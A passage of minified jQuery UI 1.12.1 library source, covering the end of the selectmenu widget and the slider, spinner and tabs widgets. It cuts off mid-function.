                value: A.val(),
                label: A.text(),
                optgroup: t.attr("label") || "",
                disabled: t.prop("disabled") || A.prop("disabled")
            }
        },
        _destroy: function() {
            this._unbindFormResetHandler(), this.menuWrap.remove(), this.button.remove(), this.element.show(), this.element.removeUniqueId(), this.labels.attr("for", this.ids.element)
        }
    }]), A.widget("ui.slider", A.ui.mouse, {
        version: "1.12.1",
        widgetEventPrefix: "slide",
        options: {
            animate: !1,
            classes: {
                "ui-slider": "ui-corner-all",
                "ui-slider-handle": "ui-corner-all",
                "ui-slider-range": "ui-corner-all ui-widget-header"
            },
            distance: 0,
            max: 100,
            min: 0,
            orientation: "horizontal",
            range: !1,
            step: 1,
            value: 0,
            values: null,
            change: null,
            slide: null,
            start: null,
            stop: null
        },
        numPages: 5,
        _create: function() {
            this._keySliding = !1, this._mouseSliding = !1, this._animateOff = !0, this._handleIndex = null, this._detectOrientation(), this._mouseInit(), this._calculateNewMax(), this._addClass("ui-slider ui-slider-" + this.orientation, "ui-widget ui-widget-content"), this._refresh(), this._animateOff = !1
        },
        _refresh: function() {
            this._createRange(), this._createHandles(), this._setupEvents(), this._refreshValue()
        },
        _createHandles: function() {
            var e, t, i = this.options,
                r = this.element.find(".ui-slider-handle"),
                o = [];
            for (t = i.values && i.values.length || 1, r.length > t && (r.slice(t).remove(), r = r.slice(0, t)), e = r.length; t > e; e++) o.push("<span tabindex='0'></span>");
            this.handles = r.add(A(o.join("")).appendTo(this.element)), this._addClass(this.handles, "ui-slider-handle", "ui-state-default"), this.handle = this.handles.eq(0), this.handles.each(function(e) {
                A(this).data("ui-slider-handle-index", e).attr("tabIndex", 0)
            })
        },
        _createRange: function() {
            var e = this.options;
            e.range ? (!0 === e.range && (e.values ? e.values.length && 2 !== e.values.length ? e.values = [e.values[0], e.values[0]] : A.isArray(e.values) && (e.values = e.values.slice(0)) : e.values = [this._valueMin(), this._valueMin()]), this.range && this.range.length ? (this._removeClass(this.range, "ui-slider-range-min ui-slider-range-max"), this.range.css({
                left: "",
                bottom: ""
            })) : (this.range = A("<div>").appendTo(this.element), this._addClass(this.range, "ui-slider-range")), ("min" === e.range || "max" === e.range) && this._addClass(this.range, "ui-slider-range-" + e.range)) : (this.range && this.range.remove(), this.range = null)
        },
        _setupEvents: function() {
            this._off(this.handles), this._on(this.handles, this._handleEvents), this._hoverable(this.handles), this._focusable(this.handles)
        },
        _destroy: function() {
            this.handles.remove(), this.range && this.range.remove(), this._mouseDestroy()
        },
        _mouseCapture: function(e) {
            var t, i, r, o, n, s, a, I = this,
                l = this.options;
            return !l.disabled && (this.elementSize = {
                width: this.element.outerWidth(),
                height: this.element.outerHeight()
            }, this.elementOffset = this.element.offset(), t = {
                x: e.pageX,
                y: e.pageY
            }, i = this._normValueFromMouse(t), r = this._valueMax() - this._valueMin() + 1, this.handles.each(function(e) {
                var t = Math.abs(i - I.values(e));
                (r > t || r === t && (e === I._lastChangedValue || I.values(e) === l.min)) && (r = t, o = A(this), n = e)
            }), !1 !== this._start(e, n) && (this._mouseSliding = !0, this._handleIndex = n, this._addClass(o, null, "ui-state-active"), o.trigger("focus"), s = o.offset(), a = !A(e.target).parents().addBack().is(".ui-slider-handle"), this._clickOffset = a ? {
                left: 0,
                top: 0
            } : {
                left: e.pageX - s.left - o.width() / 2,
                top: e.pageY - s.top - o.height() / 2 - (parseInt(o.css("borderTopWidth"), 10) || 0) - (parseInt(o.css("borderBottomWidth"), 10) || 0) + (parseInt(o.css("marginTop"), 10) || 0)
            }, this.handles.hasClass("ui-state-hover") || this._slide(e, n, i), this._animateOff = !0, !0))
        },
        _mouseStart: function() {
            return !0
        },
        _mouseDrag: function(A) {
            var e = {
                    x: A.pageX,
                    y: A.pageY
                },
                t = this._normValueFromMouse(e);
            return this._slide(A, this._handleIndex, t), !1
        },
        _mouseStop: function(A) {
            return this._removeClass(this.handles, null, "ui-state-active"), this._mouseSliding = !1, this._stop(A, this._handleIndex), this._change(A, this._handleIndex), this._handleIndex = null, this._clickOffset = null, this._animateOff = !1, !1
        },
        _detectOrientation: function() {
            this.orientation = "vertical" === this.options.orientation ? "vertical" : "horizontal"
        },
        _normValueFromMouse: function(A) {
            var e, t, i, r, o;
            return "horizontal" === this.orientation ? (e = this.elementSize.width, t = A.x - this.elementOffset.left - (this._clickOffset ? this._clickOffset.left : 0)) : (e = this.elementSize.height, t = A.y - this.elementOffset.top - (this._clickOffset ? this._clickOffset.top : 0)), i = t / e, i > 1 && (i = 1), 0 > i && (i = 0), "vertical" === this.orientation && (i = 1 - i), r = this._valueMax() - this._valueMin(), o = this._valueMin() + i * r, this._trimAlignValue(o)
        },
        _uiHash: function(A, e, t) {
            var i = {
                handle: this.handles[A],
                handleIndex: A,
                value: void 0 !== e ? e : this.value()
            };
            return this._hasMultipleValues() && (i.value = void 0 !== e ? e : this.values(A), i.values = t || this.values()), i
        },
        _hasMultipleValues: function() {
            return this.options.values && this.options.values.length
        },
        _start: function(A, e) {
            return this._trigger("start", A, this._uiHash(e))
        },
        _slide: function(A, e, t) {
            var i, r = this.value(),
                o = this.values();
            this._hasMultipleValues() && (i = this.values(e ? 0 : 1), r = this.values(e), 2 === this.options.values.length && !0 === this.options.range && (t = 0 === e ? Math.min(i, t) : Math.max(i, t)), o[e] = t), t !== r && !1 !== this._trigger("slide", A, this._uiHash(e, t, o)) && (this._hasMultipleValues() ? this.values(e, t) : this.value(t))
        },
        _stop: function(A, e) {
            this._trigger("stop", A, this._uiHash(e))
        },
        _change: function(A, e) {
            this._keySliding || this._mouseSliding || (this._lastChangedValue = e, this._trigger("change", A, this._uiHash(e)))
        },
        value: function(A) {
            return arguments.length ? (this.options.value = this._trimAlignValue(A), this._refreshValue(), void this._change(null, 0)) : this._value()
        },
        values: function(e, t) {
            var i, r, o;
            if (arguments.length > 1) return this.options.values[e] = this._trimAlignValue(t), this._refreshValue(), void this._change(null, e);
            if (!arguments.length) return this._values();
            if (!A.isArray(arguments[0])) return this._hasMultipleValues() ? this._values(e) : this.value();
            for (i = this.options.values, r = arguments[0], o = 0; i.length > o; o += 1) i[o] = this._trimAlignValue(r[o]), this._change(null, o);
            this._refreshValue()
        },
        _setOption: function(e, t) {
            var i, r = 0;
            switch ("range" === e && !0 === this.options.range && ("min" === t ? (this.options.value = this._values(0), this.options.values = null) : "max" === t && (this.options.value = this._values(this.options.values.length - 1), this.options.values = null)), A.isArray(this.options.values) && (r = this.options.values.length), this._super(e, t), e) {
                case "orientation":
                    this._detectOrientation(), this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-" + this.orientation), this._refreshValue(), this.options.range && this._refreshRange(t), this.handles.css("horizontal" === t ? "bottom" : "left", "");
                    break;
                case "value":
                    this._animateOff = !0, this._refreshValue(), this._change(null, 0), this._animateOff = !1;
                    break;
                case "values":
                    for (this._animateOff = !0, this._refreshValue(), i = r - 1; i >= 0; i--) this._change(null, i);
                    this._animateOff = !1;
                    break;
                case "step":
                case "min":
                case "max":
                    this._animateOff = !0, this._calculateNewMax(), this._refreshValue(), this._animateOff = !1;
                    break;
                case "range":
                    this._animateOff = !0, this._refresh(), this._animateOff = !1
            }
        },
        _setOptionDisabled: function(A) {
            this._super(A), this._toggleClass(null, "ui-state-disabled", !!A)
        },
        _value: function() {
            var A = this.options.value;
            return A = this._trimAlignValue(A)
        },
        _values: function(A) {
            var e, t, i;
            if (arguments.length) return e = this.options.values[A], e = this._trimAlignValue(e);
            if (this._hasMultipleValues()) {
                for (t = this.options.values.slice(), i = 0; t.length > i; i += 1) t[i] = this._trimAlignValue(t[i]);
                return t
            }
            return []
        },
        _trimAlignValue: function(A) {
            if (this._valueMin() >= A) return this._valueMin();
            if (A >= this._valueMax()) return this._valueMax();
            var e = this.options.step > 0 ? this.options.step : 1,
                t = (A - this._valueMin()) % e,
                i = A - t;
            return 2 * Math.abs(t) >= e && (i += t > 0 ? e : -e), parseFloat(i.toFixed(5))
        },
        _calculateNewMax: function() {
            var A = this.options.max,
                e = this._valueMin(),
                t = this.options.step;
            A = Math.round((A - e) / t) * t + e, A > this.options.max && (A -= t), this.max = parseFloat(A.toFixed(this._precision()))
        },
        _precision: function() {
            var A = this._precisionOf(this.options.step);
            return null !== this.options.min && (A = Math.max(A, this._precisionOf(this.options.min))), A
        },
        _precisionOf: function(A) {
            var e = "" + A,
                t = e.indexOf(".");
            return -1 === t ? 0 : e.length - t - 1
        },
        _valueMin: function() {
            return this.options.min
        },
        _valueMax: function() {
            return this.max
        },
        _refreshRange: function(A) {
            "vertical" === A && this.range.css({
                width: "",
                left: ""
            }), "horizontal" === A && this.range.css({
                height: "",
                bottom: ""
            })
        },
        _refreshValue: function() {
            var e, t, i, r, o, n = this.options.range,
                s = this.options,
                a = this,
                I = !this._animateOff && s.animate,
                l = {};
            this._hasMultipleValues() ? this.handles.each(function(i) {
                t = (a.values(i) - a._valueMin()) / (a._valueMax() - a._valueMin()) * 100, l["horizontal" === a.orientation ? "left" : "bottom"] = t + "%", A(this).stop(1, 1)[I ? "animate" : "css"](l, s.animate), !0 === a.options.range && ("horizontal" === a.orientation ? (0 === i && a.range.stop(1, 1)[I ? "animate" : "css"]({
                    left: t + "%"
                }, s.animate), 1 === i && a.range[I ? "animate" : "css"]({
                    width: t - e + "%"
                }, {
                    queue: !1,
                    duration: s.animate
                })) : (0 === i && a.range.stop(1, 1)[I ? "animate" : "css"]({
                    bottom: t + "%"
                }, s.animate), 1 === i && a.range[I ? "animate" : "css"]({
                    height: t - e + "%"
                }, {
                    queue: !1,
                    duration: s.animate
                }))), e = t
            }) : (i = this.value(), r = this._valueMin(), o = this._valueMax(), t = o !== r ? (i - r) / (o - r) * 100 : 0, l["horizontal" === this.orientation ? "left" : "bottom"] = t + "%", this.handle.stop(1, 1)[I ? "animate" : "css"](l, s.animate), "min" === n && "horizontal" === this.orientation && this.range.stop(1, 1)[I ? "animate" : "css"]({
                width: t + "%"
            }, s.animate), "max" === n && "horizontal" === this.orientation && this.range.stop(1, 1)[I ? "animate" : "css"]({
                width: 100 - t + "%"
            }, s.animate), "min" === n && "vertical" === this.orientation && this.range.stop(1, 1)[I ? "animate" : "css"]({
                height: t + "%"
            }, s.animate), "max" === n && "vertical" === this.orientation && this.range.stop(1, 1)[I ? "animate" : "css"]({
                height: 100 - t + "%"
            }, s.animate))
        },
        _handleEvents: {
            keydown: function(e) {
                var t, i, r, o = A(e.target).data("ui-slider-handle-index");
                switch (e.keyCode) {
                    case A.ui.keyCode.HOME:
                    case A.ui.keyCode.END:
                    case A.ui.keyCode.PAGE_UP:
                    case A.ui.keyCode.PAGE_DOWN:
                    case A.ui.keyCode.UP:
                    case A.ui.keyCode.RIGHT:
                    case A.ui.keyCode.DOWN:
                    case A.ui.keyCode.LEFT:
                        if (e.preventDefault(), !this._keySliding && (this._keySliding = !0, this._addClass(A(e.target), null, "ui-state-active"), !1 === this._start(e, o))) return
                }
                switch (r = this.options.step, t = i = this._hasMultipleValues() ? this.values(o) : this.value(), e.keyCode) {
                    case A.ui.keyCode.HOME:
                        i = this._valueMin();
                        break;
                    case A.ui.keyCode.END:
                        i = this._valueMax();
                        break;
                    case A.ui.keyCode.PAGE_UP:
                        i = this._trimAlignValue(t + (this._valueMax() - this._valueMin()) / this.numPages);
                        break;
                    case A.ui.keyCode.PAGE_DOWN:
                        i = this._trimAlignValue(t - (this._valueMax() - this._valueMin()) / this.numPages);
                        break;
                    case A.ui.keyCode.UP:
                    case A.ui.keyCode.RIGHT:
                        if (t === this._valueMax()) return;
                        i = this._trimAlignValue(t + r);
                        break;
                    case A.ui.keyCode.DOWN:
                    case A.ui.keyCode.LEFT:
                        if (t === this._valueMin()) return;
                        i = this._trimAlignValue(t - r)
                }
                this._slide(e, o, i)
            },
            keyup: function(e) {
                var t = A(e.target).data("ui-slider-handle-index");
                this._keySliding && (this._keySliding = !1, this._stop(e, t), this._change(e, t), this._removeClass(A(e.target), null, "ui-state-active"))
            }
        }
    }), A.widget("ui.spinner", {
        version: "1.12.1",
        defaultElement: "<input>",
        widgetEventPrefix: "spin",
        options: {
            classes: {
                "ui-spinner": "ui-corner-all",
                "ui-spinner-down": "ui-corner-br",
                "ui-spinner-up": "ui-corner-tr"
            },
            culture: null,
            icons: {
                down: "ui-icon-triangle-1-s",
                up: "ui-icon-triangle-1-n"
            },
            incremental: !0,
            max: null,
            min: null,
            numberFormat: null,
            page: 10,
            step: 1,
            change: null,
            spin: null,
            start: null,
            stop: null
        },
        _create: function() {
            this._setOption("max", this.options.max), this._setOption("min", this.options.min), this._setOption("step", this.options.step), "" !== this.value() && this._value(this.element.val(), !0), this._draw(), this._on(this._events), this._refresh(), this._on(this.window, {
                beforeunload: function() {
                    this.element.removeAttr("autocomplete")
                }
            })
        },
        _getCreateOptions: function() {
            var e = this._super(),
                t = this.element;
            return A.each(["min", "max", "step"], function(A, i) {
                var r = t.attr(i);
                null != r && r.length && (e[i] = r)
            }), e
        },
        _events: {
            keydown: function(A) {
                this._start(A) && this._keydown(A) && A.preventDefault()
            },
            keyup: "_stop",
            focus: function() {
                this.previous = this.element.val()
            },
            blur: function(A) {
                return this.cancelBlur ? void delete this.cancelBlur : (this._stop(), this._refresh(), void(this.previous !== this.element.val() && this._trigger("change", A)))
            },
            mousewheel: function(A, e) {
                if (e) {
                    if (!this.spinning && !this._start(A)) return !1;
                    this._spin((e > 0 ? 1 : -1) * this.options.step, A), clearTimeout(this.mousewheelTimer), this.mousewheelTimer = this._delay(function() {
                        this.spinning && this._stop(A)
                    }, 100), A.preventDefault()
                }
            },
            "mousedown .ui-spinner-button": function(e) {
                function t() {
                    this.element[0] === A.ui.safeActiveElement(this.document[0]) || (this.element.trigger("focus"), this.previous = i, this._delay(function() {
                        this.previous = i
                    }))
                }
                var i;
                i = this.element[0] === A.ui.safeActiveElement(this.document[0]) ? this.previous : this.element.val(), e.preventDefault(), t.call(this), this.cancelBlur = !0, this._delay(function() {
                    delete this.cancelBlur, t.call(this)
                }), !1 !== this._start(e) && this._repeat(null, A(e.currentTarget).hasClass("ui-spinner-up") ? 1 : -1, e)
            },
            "mouseup .ui-spinner-button": "_stop",
            "mouseenter .ui-spinner-button": function(e) {
                return A(e.currentTarget).hasClass("ui-state-active") ? !1 !== this._start(e) && void this._repeat(null, A(e.currentTarget).hasClass("ui-spinner-up") ? 1 : -1, e) : void 0
            },
            "mouseleave .ui-spinner-button": "_stop"
        },
        _enhance: function() {
            this.uiSpinner = this.element.attr("autocomplete", "off").wrap("<span>").parent().append("<a></a><a></a>")
        },
        _draw: function() {
            this._enhance(), this._addClass(this.uiSpinner, "ui-spinner", "ui-widget ui-widget-content"), this._addClass("ui-spinner-input"), this.element.attr("role", "spinbutton"), this.buttons = this.uiSpinner.children("a").attr("tabIndex", -1).attr("aria-hidden", !0).button({
                classes: {
                    "ui-button": ""
                }
            }), this._removeClass(this.buttons, "ui-corner-all"), this._addClass(this.buttons.first(), "ui-spinner-button ui-spinner-up"), this._addClass(this.buttons.last(), "ui-spinner-button ui-spinner-down"), this.buttons.first().button({
                icon: this.options.icons.up,
                showLabel: !1
            }), this.buttons.last().button({
                icon: this.options.icons.down,
                showLabel: !1
            }), this.buttons.height() > Math.ceil(.5 * this.uiSpinner.height()) && this.uiSpinner.height() > 0 && this.uiSpinner.height(this.uiSpinner.height())
        },
        _keydown: function(e) {
            var t = this.options,
                i = A.ui.keyCode;
            switch (e.keyCode) {
                case i.UP:
                    return this._repeat(null, 1, e), !0;
                case i.DOWN:
                    return this._repeat(null, -1, e), !0;
                case i.PAGE_UP:
                    return this._repeat(null, t.page, e), !0;
                case i.PAGE_DOWN:
                    return this._repeat(null, -t.page, e), !0
            }
            return !1
        },
        _start: function(A) {
            return !(!this.spinning && !1 === this._trigger("start", A)) && (this.counter || (this.counter = 1), this.spinning = !0, !0)
        },
        _repeat: function(A, e, t) {
            A = A || 500, clearTimeout(this.timer), this.timer = this._delay(function() {
                this._repeat(40, e, t)
            }, A), this._spin(e * this.options.step, t)
        },
        _spin: function(A, e) {
            var t = this.value() || 0;
            this.counter || (this.counter = 1), t = this._adjustValue(t + A * this._increment(this.counter)), this.spinning && !1 === this._trigger("spin", e, {
                value: t
            }) || (this._value(t), this.counter++)
        },
        _increment: function(e) {
            var t = this.options.incremental;
            return t ? A.isFunction(t) ? t(e) : Math.floor(e * e * e / 5e4 - e * e / 500 + 17 * e / 200 + 1) : 1
        },
        _precision: function() {
            var A = this._precisionOf(this.options.step);
            return null !== this.options.min && (A = Math.max(A, this._precisionOf(this.options.min))), A
        },
        _precisionOf: function(A) {
            var e = "" + A,
                t = e.indexOf(".");
            return -1 === t ? 0 : e.length - t - 1
        },
        _adjustValue: function(A) {
            var e, t, i = this.options;
            return e = null !== i.min ? i.min : 0, t = A - e, t = Math.round(t / i.step) * i.step, A = e + t, A = parseFloat(A.toFixed(this._precision())), null !== i.max && A > i.max ? i.max : null !== i.min && i.min > A ? i.min : A
        },
        _stop: function(A) {
            this.spinning && (clearTimeout(this.timer), clearTimeout(this.mousewheelTimer), this.counter = 0, this.spinning = !1, this._trigger("stop", A))
        },
        _setOption: function(A, e) {
            var t, i, r;
            return "culture" === A || "numberFormat" === A ? (t = this._parse(this.element.val()), this.options[A] = e, void this.element.val(this._format(t))) : (("max" === A || "min" === A || "step" === A) && "string" == typeof e && (e = this._parse(e)), "icons" === A && (i = this.buttons.first().find(".ui-icon"), this._removeClass(i, null, this.options.icons.up), this._addClass(i, null, e.up), r = this.buttons.last().find(".ui-icon"), this._removeClass(r, null, this.options.icons.down), this._addClass(r, null, e.down)), void this._super(A, e))
        },
        _setOptionDisabled: function(A) {
            this._super(A), this._toggleClass(this.uiSpinner, null, "ui-state-disabled", !!A), this.element.prop("disabled", !!A), this.buttons.button(A ? "disable" : "enable")
        },
        _setOptions: s(function(A) {
            this._super(A)
        }),
        _parse: function(A) {
            return "string" == typeof A && "" !== A && (A = window.Globalize && this.options.numberFormat ? Globalize.parseFloat(A, 10, this.options.culture) : +A), "" === A || isNaN(A) ? null : A
        },
        _format: function(A) {
            return "" === A ? "" : window.Globalize && this.options.numberFormat ? Globalize.format(A, this.options.numberFormat, this.options.culture) : A
        },
        _refresh: function() {
            this.element.attr({
                "aria-valuemin": this.options.min,
                "aria-valuemax": this.options.max,
                "aria-valuenow": this._parse(this.element.val())
            })
        },
        isValid: function() {
            var A = this.value();
            return null !== A && A === this._adjustValue(A)
        },
        _value: function(A, e) {
            var t;
            "" !== A && null !== (t = this._parse(A)) && (e || (t = this._adjustValue(t)), A = this._format(t)), this.element.val(A), this._refresh()
        },
        _destroy: function() {
            this.element.prop("disabled", !1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"), this.uiSpinner.replaceWith(this.element)
        },
        stepUp: s(function(A) {
            this._stepUp(A)
        }),
        _stepUp: function(A) {
            this._start() && (this._spin((A || 1) * this.options.step), this._stop())
        },
        stepDown: s(function(A) {
            this._stepDown(A)
        }),
        _stepDown: function(A) {
            this._start() && (this._spin((A || 1) * -this.options.step), this._stop())
        },
        pageUp: s(function(A) {
            this._stepUp((A || 1) * this.options.page)
        }),
        pageDown: s(function(A) {
            this._stepDown((A || 1) * this.options.page)
        }),
        value: function(A) {
            return arguments.length ? void s(this._value).call(this, A) : this._parse(this.element.val())
        },
        widget: function() {
            return this.uiSpinner
        }
    }), !1 !== A.uiBackCompat && A.widget("ui.spinner", A.ui.spinner, {
        _enhance: function() {
            this.uiSpinner = this.element.attr("autocomplete", "off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())
        },
        _uiSpinnerHtml: function() {
            return "<span>"
        },
        _buttonHtml: function() {
            return "<a></a><a></a>"
        }
    }), A.ui.spinner, A.widget("ui.tabs", {
        version: "1.12.1",
        delay: 300,
        options: {
            active: null,
            classes: {
                "ui-tabs": "ui-corner-all",
                "ui-tabs-nav": "ui-corner-all",
                "ui-tabs-panel": "ui-corner-bottom",
                "ui-tabs-tab": "ui-corner-top"
            },
            collapsible: !1,
            event: "click",
            heightStyle: "content",
            hide: null,
            show: null,
            activate: null,
            beforeActivate: null,
            beforeLoad: null,
            load: null
        },
        _isLocal: function() {
            var A = /#.*$/;
            return function(e) {
                var t, i;
                t = e.href.replace(A, ""), i = location.href.replace(A, "");
                try {
                    t = decodeURIComponent(t)
                } catch (A) {}
                try {
                    i = decodeURIComponent(i)
                } catch (A) {}
                return e.hash.length > 1 && t === i
            }
        }(),
        _create: function() {
            var e = this,
                t = this.options;
            this.running = !1, this._addClass("ui-tabs", "ui-widget ui-widget-content"), this._toggleClass("ui-tabs-collapsible", null, t.collapsible), this._processTabs(), t.active = this._initialActive(), A.isArray(t.disabled) && (t.disabled = A.unique(t.disabled.concat(A.map(this.tabs.filter(".ui-state-disabled"), function(A) {
                return e.tabs.index(A)
            }))).sort()), this.active = !1 !== this.options.active && this.anchors.length ? this._findActive(t.active) : A(), this._refresh(), this.active.length && this.load(t.active)
        },
        _initialActive: function() {
            var e = this.options.active,
                t = this.options.collapsible,
                i = location.hash.substring(1);
            return null === e && (i && this.tabs.each(function(t, r) {
                return A(r).attr("aria-controls") === i ? (e = t, !1) : void 0
            }), null === e && (e = this.tabs.index(this.tabs.filter(".ui-tabs-active"))), (null === e || -1 === e) && (e = !!this.tabs.length && 0)), !1 !== e && -1 === (e = this.tabs.index(this.tabs.eq(e))) && (e = !t && 0), !t && !1 === e && this.anchors.length && (e = 0), e
        },
        _getCreateEventData: function() {
            return {
                tab: this.active,
                panel: this.active.length ? this._getPanelForTab(this.active) : A()
            }
        },
        _tabKeydown: function(e) {
            var t = A(A.ui.safeActiveElement(this.document[0])).closest("li"),
                i = this.tabs.index(t),
                r = !0;
            if (!this._handlePageNav(e)) {
                switch (e.keyCode) {
                    case A.ui.keyCode.RIGHT:
                    case A.ui.keyCode.DOWN:
                        i++;
                        break;
                    case A.ui.keyCode.UP:
                    case A.ui.keyCode.LEFT:
                        r = !1, i--;
                        break;
                    case A.ui.keyCode.END:
                        i = this.anchors.length - 1;
                        break;
                    case A.ui.keyCode.HOME:
                        i = 0;
                        break;
                    case A.ui.keyCode.SPACE:
                        return e.preventDefault(), clearTimeout(this.activating), void this._activate(i);
                    case A.ui.keyCode.ENTER:
                        return e.preventDefault(), clearTimeout(this.activating), void this._activate(i !== this.options.active && i);
                    default:
                        return
                }
                e.preventDefault(), clearTimeout(this.activating), i = this._focusNextTab(i, r), e.ctrlKey || e.metaKey || (t.attr("aria-selected", "false"), this.tabs.eq(i).attr("aria-selected", "true"), this.activating = this._delay(function() {
                    this.option("active", i)
                }, this.delay))
            }
        },
        _panelKeydown: function(e) {
            this._handlePageNav(e) || e.ctrlKey && e.keyCode === A.ui.keyCode.UP && (e.preventDefault(), this.active.trigger("focus"))
        },
        _handlePageNav: function(e) {
            return e.altKey && e.keyCode === A.ui.keyCode.PAGE_UP ? (this._activate(this._focusNextTab(this.options.active - 1, !1)), !0) : e.altKey && e.keyCode === A.ui.keyCode.PAGE_DOWN ? (this._activate(this._focusNextTab(this.options.active + 1, !0)), !0) : void 0
        },
        _findNextTab: function(e, t) {
            for (var i = this.tabs.length - 1; - 1 !== A.inArray(function() {
                    return e > i && (e = 0), 0 > e && (e = i), e
                }(), this.options.disabled);) e = t ? e + 1 : e - 1;
            return e
        },
        _focusNextTab: function(A, e) {
            return A = this._findNextTab(A, e), this.tabs.eq(A).trigger("focus"), A
        },
        _setOption: function(A, e) {
            return "active" === A ? void this._activate(e) : (this._super(A, e), "collapsible" === A && (this._toggleClass("ui-tabs-collapsible", null, e), e || !1 !== this.options.active || this._activate(0)), "event" === A && this._setupEvents(e), void("heightStyle" === A && this._setupHeightStyle(e)))
        },
        _sanitizeSelector: function(A) {
            return A ? A.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&") : ""
        },
        refresh: function() {
            var e = this.options,
                t = this.tablist.children(":has(a[href])");
            e.disabled = A.map(t.filter(".ui-state-disabled"), function(A) {
                return t.index(A)
            }), this._processTabs(), !1 !== e.active && this.anchors.length ? this.active.length && !A.contains(this.tablist[0], this.active[0]) ? this.tabs.length === e.disabled.length ? (e.active = !1, this.active = A()) : this._activate(this._findNextTab(Math.max(0, e.active - 1), !1)) : e.active = this.tabs.index(this.active) : (e.active = !1, this.active = A()), this._refresh()
        },
        _refresh: function() {
            this._setOptionDisabled(this.options.disabled), this._setupEvents(this.options.event), this._setupHeightStyle(this.options.heightStyle), this.tabs.not(this.active).attr({
                "aria-selected": "false",
                "aria-expanded": "false",
                tabIndex: -1
            }), this.panels.not(this._getPanelForTab(this.active)).hide().attr({
                "aria-hidden": "true"
            }), this.active.length ? (this.active.attr({
                "aria-selected": "true",
                "aria-expanded": "true",
                tabIndex: 0
            }), this._addClass(this.active, "ui-tabs-active", "ui-state-active"), this._getPanelForTab(this.active).show().attr({
                "aria-hidden": "false"
            })) : this.tabs.eq(0).attr("tabIndex", 0)
        },
        _processTabs: function() {
            var e = this,
                t = this.tabs,
                i = this.anchors,
                r = this.panels;
            this.tablist = this._getList().attr("role", "tablist"), this._addClass(this.tablist, "ui-tabs-nav", "ui-helper-reset ui-helper-clearfix ui-widget-header"), this.tablist.on("mousedown" + this.eventNamespace, "> li", function(e) {
                A(this).is(".ui-state-disabled") && e.preventDefault()
            }).on("focus" + this.eventNamespace, ".ui-tabs-anchor", function() {
                A(this).closest("li").is(".ui-state-disabled") && this.blur()
            }), this.tabs = this.tablist.find("> li:has(a[href])").attr({
                role: "tab",
                tabIndex: -1
            }), this._addClass(this.tabs, "ui-tabs-tab", "ui-state-default"), this.anchors = this.tabs.map(function() {
                return A("a", this)[0]
            }).attr({
                role: "presentation",
                tabIndex: -1
            }), this._addClass(this.anchors, "ui-tabs-anchor"), this.panels = A(), this.anchors.each(function(t, i) {
                var r, o, n, s = A(i).uniqueId().attr("id"),
                    a = A(i).closest("li"),
                    I = a.attr("aria-controls");
                e._isLocal(i) ? (r = i.hash, n = r.substring(1), o = e.element.find(e._sanitizeSelector(r))) : (n = a.attr("aria-controls") || A({}).uniqueId()[0].id, r = "#" + n, o = e.element.find(r), o.length || (o = e._createPanel(n), o.insertAfter(e.panels[t - 1] || e.tablist)), o.attr("aria-live", "polite")), o.length && (e.panels = e.panels.add(o)), I && a.data("ui-tabs-aria-controls", I), a.attr({
                    "aria-controls": n,
                    "aria-labelledby": s
                }), o.attr("aria-labelledby", s)
            }), this.panels.attr("role", "tabpanel"), this._addClass(this.panels, "ui-tabs-panel", "ui-widget-content"), t && (this._off(t.not(this.tabs)), this._off(i.not(this.anchors)), this._off(r.not(this.panels)))
        },
        _getList: function() {
            return this.tablist || this.element.find("ol, ul").eq(0)
        },
        _createPanel: function(e) {
            return A("<div>").attr("id", e).data("ui-tabs-destroy", !0)
        },
        _setOptionDisabled: function(e) {
            var t, i, r;
            for (A.isArray(e) && (e.length ? e.length === this.anchors.length && (e = !0) : e = !1), r = 0; i = this.tabs[r]; r++) t = A(i), !0 === e || -1 !== A.inArray(r, e) ? (t.attr("aria-disabled", "true"), this._addClass(t, null, "ui-state-disabled")) : (t.removeAttr("aria-disabled"), this._removeClass(t, null, "ui-state-disabled"));
            this.options.disabled = e, this._toggleClass(this.widget(), this.widgetFullName + "-disabled", null, !0 === e)
        },
        _setupEvents: function(e) {
            var t = {};
            e && A.each(e.split(" "), function(A, e) {
                t[e] = "_eventHandler"
            }), this._off(this.anchors.add(this.tabs).add(this.panels)), this._on(!0, this.anchors, {
                click: function(A) {
                    A.preventDefault()
                }
            }), this._on(this.anchors, t), this._on(this.tabs, {
                keydown: "_tabKeydown"
            }), this._on(this.panels, {
                keydown: "_panelKeydown"
            }), this._focusable(this.tabs), this._hoverable(this.tabs)
        },
        _setupHeightStyle: function(e) {
            var t, i = this.element.parent();
            "fill" === e ? (t = i.height(), t -= this.element.outerHeight() - this.element.height(), this.element.siblings(":visible").each(function() {
                var e = A(this),
                    i = e.css("position");
                "absolute" !== i && "fixed" !== i && (t -= e.outerHeight(!0))
            }), this.element.children().not(this.panels).each(function() {
                t -= A(this).outerHeight(!0)
            }), this.panels.each(function() {
                A(this).height(Math.max(0, t - A(this).innerHeight() + A(this).height()))
            }).css("overflow", "auto")) : "auto" === e && (t = 0, this.panels.each(function() {
                t = Math.max(t, A(this).height("").height())
            }).height(t))
        },
        _eventHandler: function(e) {
            var t = this.options,
                i = this.active,
                r = A(e.currentTarget),
                o = r.closest("li"),
                n = o[0] === i[0],
                s = n && t.collapsible,
                a = s ? A() : this._getPanelForTab(o),
                I = i.length ? this._getPanelForTab(i) : A(),
                l = {
                    oldTab: i,
                    oldPanel: I,
                    newTab: s ? A() : o,
                    newPanel: a
                };
            e.preventDefault(), o.hasClass("ui-state-disabled") || o.hasClass("ui-tabs-loading") || this.running || n && !t.collapsible || !1 === this._trigger("beforeActivate", e, l) || (t.active = !s && this.tabs.index(o), this.active = n ? A() : o, this.xhr && this.xhr.abort(), I.length || a.length || A.error("jQuery UI Tabs: Mismatching fragment identifier."), a.length && this.load(this.tabs.index(o), e), this._toggle(e, l))
        },
        _toggle: function(e, t) {
            function i() {
                o.running = !1, o._trigger("activate", e, t)
            }

            function r() {
                o._addClass(t.newTab.closest("li"), "ui-tabs-active", "ui-state-active"), n.length && o.options.show ? o._show(n, o.options.show, i) : (n.show(), i())
            }
            var o = this,
                n = t.newPanel,
                s = t.oldPanel;
            this.running = !0, s.length && this.options.hide ? this._hide(s, this.options.hide, function() {
                o._removeClass(t.oldTab.closest("li"), "ui-tabs-active", "ui-state-active"), r()
            }) : (this._removeClass(t.oldTab.closest("li"), "ui-tabs-active", "ui-state-active"), s.hide(), r()), s.attr("aria-hidden", "true"), t.oldTab.attr({
